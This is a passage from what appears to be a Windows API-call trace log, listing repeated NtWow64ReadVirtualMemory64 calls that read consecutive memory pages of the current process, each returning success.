NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77193000, Buffer=0x0, BufferSize=0x2d53000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77194000, Buffer=0x0, BufferSize=0x2d54000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77195000, Buffer=0x0, BufferSize=0x2d55000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77196000, Buffer=0x0, BufferSize=0x2d56000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77197000, Buffer=0x0, BufferSize=0x2d57000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77198000, Buffer=0x0, BufferSize=0x2d58000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77199000, Buffer=0x0, BufferSize=0x2d59000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7719a000, Buffer=0x0, BufferSize=0x2d5a000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7719b000, Buffer=0x0, BufferSize=0x2d5b000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7719c000, Buffer=0x0, BufferSize=0x2d5c000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7719d000, Buffer=0x0, BufferSize=0x2d5d000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7719e000, Buffer=0x0, BufferSize=0x2d5e000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7719f000, Buffer=0x0, BufferSize=0x2d5f000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a0000, Buffer=0x0, BufferSize=0x2d60000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a1000, Buffer=0x0, BufferSize=0x2d61000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.147] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a2000, Buffer=0x0, BufferSize=0x2d62000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.147] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a3000, Buffer=0x0, BufferSize=0x2d63000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.147] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a4000, Buffer=0x0, BufferSize=0x2d64000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.147] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a5000, Buffer=0x0, BufferSize=0x2d65000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.147] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a6000, Buffer=0x0, BufferSize=0x2d66000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.147] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a7000, Buffer=0x0, BufferSize=0x2d67000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.147] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a8000, Buffer=0x0, BufferSize=0x2d68000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.147] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771a9000, Buffer=0x0, BufferSize=0x2d69000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.148] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771aa000, Buffer=0x0, BufferSize=0x2d6a000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.148] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ab000, Buffer=0x0, BufferSize=0x2d6b000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.148] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ac000, Buffer=0x0, BufferSize=0x2d6c000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.148] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ad000, Buffer=0x0, BufferSize=0x2d6d000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.148] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ae000, Buffer=0x0, BufferSize=0x2d6e000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.148] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771af000, Buffer=0x0, BufferSize=0x2d6f000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.148] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b0000, Buffer=0x0, BufferSize=0x2d70000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.149] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b1000, Buffer=0x0, BufferSize=0x2d71000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.149] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b2000, Buffer=0x0, BufferSize=0x2d72000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.149] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b3000, Buffer=0x0, BufferSize=0x2d73000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.149] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b4000, Buffer=0x0, BufferSize=0x2d74000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.149] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b5000, Buffer=0x0, BufferSize=0x2d75000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.149] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b6000, Buffer=0x0, BufferSize=0x2d76000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.149] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b7000, Buffer=0x0, BufferSize=0x2d77000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.149] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b8000, Buffer=0x0, BufferSize=0x2d78000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.149] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771b9000, Buffer=0x0, BufferSize=0x2d79000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.150] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ba000, Buffer=0x0, BufferSize=0x2d7a000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.150] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771bb000, Buffer=0x0, BufferSize=0x2d7b000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.150] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771bc000, Buffer=0x0, BufferSize=0x2d7c000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.150] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771bd000, Buffer=0x0, BufferSize=0x2d7d000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.150] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771be000, Buffer=0x0, BufferSize=0x2d7e000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.150] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771bf000, Buffer=0x0, BufferSize=0x2d7f000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.150] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c0000, Buffer=0x0, BufferSize=0x2d80000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.151] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c1000, Buffer=0x0, BufferSize=0x2d81000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.151] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c2000, Buffer=0x0, BufferSize=0x2d82000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.151] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c3000, Buffer=0x0, BufferSize=0x2d83000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.151] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c4000, Buffer=0x0, BufferSize=0x2d84000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.151] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c5000, Buffer=0x0, BufferSize=0x2d85000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.151] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c6000, Buffer=0x0, BufferSize=0x2d86000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.152] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c7000, Buffer=0x0, BufferSize=0x2d87000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.152] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c8000, Buffer=0x0, BufferSize=0x2d88000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.152] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771c9000, Buffer=0x0, BufferSize=0x2d89000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.152] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ca000, Buffer=0x0, BufferSize=0x2d8a000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.152] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771cb000, Buffer=0x0, BufferSize=0x2d8b000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.152] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771cc000, Buffer=0x0, BufferSize=0x2d8c000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.153] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771cd000, Buffer=0x0, BufferSize=0x2d8d000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.153] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ce000, Buffer=0x0, BufferSize=0x2d8e000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.153] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771cf000, Buffer=0x0, BufferSize=0x2d8f000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.153] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d0000, Buffer=0x0, BufferSize=0x2d90000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.153] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d1000, Buffer=0x0, BufferSize=0x2d91000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.153] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d2000, Buffer=0x0, BufferSize=0x2d92000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.153] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d3000, Buffer=0x0, BufferSize=0x2d93000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.154] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d4000, Buffer=0x0, BufferSize=0x2d94000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.154] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d5000, Buffer=0x0, BufferSize=0x2d95000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.154] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d6000, Buffer=0x0, BufferSize=0x2d96000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.154] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d7000, Buffer=0x0, BufferSize=0x2d97000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.154] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d8000, Buffer=0x0, BufferSize=0x2d98000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.154] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771d9000, Buffer=0x0, BufferSize=0x2d99000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.155] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771da000, Buffer=0x0, BufferSize=0x2d9a000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.155] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771db000, Buffer=0x0, BufferSize=0x2d9b000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.155] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771dc000, Buffer=0x0, BufferSize=0x2d9c000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.155] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771dd000, Buffer=0x0, BufferSize=0x2d9d000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.155] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771de000, Buffer=0x0, BufferSize=0x2d9e000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.155] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771df000, Buffer=0x0, BufferSize=0x2d9f000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.156] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e0000, Buffer=0x0, BufferSize=0x2da0000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.156] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e1000, Buffer=0x0, BufferSize=0x2da1000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.156] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e2000, Buffer=0x0, BufferSize=0x2da2000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.156] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e3000, Buffer=0x0, BufferSize=0x2da3000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.156] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e4000, Buffer=0x0, BufferSize=0x2da4000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.156] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e5000, Buffer=0x0, BufferSize=0x2da5000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.157] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e6000, Buffer=0x0, BufferSize=0x2da6000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.157] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e7000, Buffer=0x0, BufferSize=0x2da7000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.157] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e8000, Buffer=0x0, BufferSize=0x2da8000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.157] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771e9000, Buffer=0x0, BufferSize=0x2da9000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.157] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ea000, Buffer=0x0, BufferSize=0x2daa000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.157] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771eb000, Buffer=0x0, BufferSize=0x2dab000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.158] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ec000, Buffer=0x0, BufferSize=0x2dac000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.158] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ed000, Buffer=0x0, BufferSize=0x2dad000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.158] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ee000, Buffer=0x0, BufferSize=0x2dae000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.158] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ef000, Buffer=0x0, BufferSize=0x2daf000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.158] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f0000, Buffer=0x0, BufferSize=0x2db0000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.158] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f1000, Buffer=0x0, BufferSize=0x2db1000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.159] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f2000, Buffer=0x0, BufferSize=0x2db2000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.159] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f3000, Buffer=0x0, BufferSize=0x2db3000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.159] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f4000, Buffer=0x0, BufferSize=0x2db4000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.159] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f5000, Buffer=0x0, BufferSize=0x2db5000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.159] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f6000, Buffer=0x0, BufferSize=0x2db6000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.159] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f7000, Buffer=0x0, BufferSize=0x2db7000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.160] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f8000, Buffer=0x0, BufferSize=0x2db8000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.160] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771f9000, Buffer=0x0, BufferSize=0x2db9000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.160] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771fa000, Buffer=0x0, BufferSize=0x2dba000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.160] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771fb000, Buffer=0x0, BufferSize=0x2dbb000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.161] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771fc000, Buffer=0x0, BufferSize=0x2dbc000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.161] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771fd000, Buffer=0x0, BufferSize=0x2dbd000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.161] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771fe000, Buffer=0x0, BufferSize=0x2dbe000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.161] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x771ff000, Buffer=0x0, BufferSize=0x2dbf000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.161] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77200000, Buffer=0x0, BufferSize=0x2dc0000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.161] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77201000, Buffer=0x0, BufferSize=0x2dc1000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.162] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77202000, Buffer=0x0, BufferSize=0x2dc2000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.162] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77203000, Buffer=0x0, BufferSize=0x2dc3000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.162] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77204000, Buffer=0x0, BufferSize=0x2dc4000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.162] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77205000, Buffer=0x0, BufferSize=0x2dc5000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.162] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77206000, Buffer=0x0, BufferSize=0x2dc6000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.163] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77207000, Buffer=0x0, BufferSize=0x2dc7000, 